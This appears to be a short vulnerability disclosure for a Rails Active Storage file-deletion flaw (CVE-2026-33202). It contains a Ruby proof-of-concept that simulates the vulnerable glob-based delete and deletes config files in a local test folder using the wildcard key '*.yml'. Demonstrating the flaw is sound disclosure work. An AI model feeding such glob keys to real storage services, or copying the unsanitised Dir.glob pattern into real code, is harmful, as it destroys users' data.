CVE-2026-33202 Rails Active Storage 任意文件删除漏洞

# Proof of Concept for CVE-2026-33202 # This script demonstrates how a malicious blob key containing glob characters # can cause unintended file deletion in vulnerable Active Storage versions. require 'fileutils' # Simulating the vulnerable DiskService#delete_prefixed logic class VulnerableDiskService def initialize(storage_root) @storage_root = storage_root end # Vulnerable method: passes key directly to Dir.glob def delete_prefixed(prefix) pattern = File.join(@storage_root, prefix) puts "[*] Searching for files with pattern: #{pattern}" # Dir.glob expands meta-characters like *, ?, [] Dir.glob(pattern).each do |path| puts "[!] Deleting file: #{path}" File.delete(path) if File.exist?(path) end end end # Setup test environment storage_dir = "./storage_test" FileUtils.mkdir_p(storage_dir) # Create dummy files FileUtils.touch("#{storage_dir}/original_file.txt") FileUtils.touch("#{storage_dir}/important_config.yml") FileUtils.touch("#{storage_dir}/user_data.json") puts "Files before exploit:" Dir.glob("#{storage_dir}/*").each { |f| puts "- #{File.basename(f)}" } # Exploit scenario: # An attacker uploads a file or manipulates the blob key to contain a wildcard (e*) # or simply triggers delete with a prefix that expands to everything. # Here we simulate a blob key like "important*" or just "*" if the key is fully controlled. service = VulnerableDiskService.new(storage_dir) # Triggering the delete with a malicious prefix/key # In a real scenario, this key comes from the database (blob.key) malicious_key = "*.yml" # Targeting config files puts "\n[!] Triggering exploit with key: #{malicious_key}" service.delete_prefixed(malicious_key) puts "\nFiles after exploit:" Dir.glob("#{storage_dir}/*").each { |f| puts "- #{File.basename(f)}" } # Cleanup FileUtils.rm_rf(storage_dir)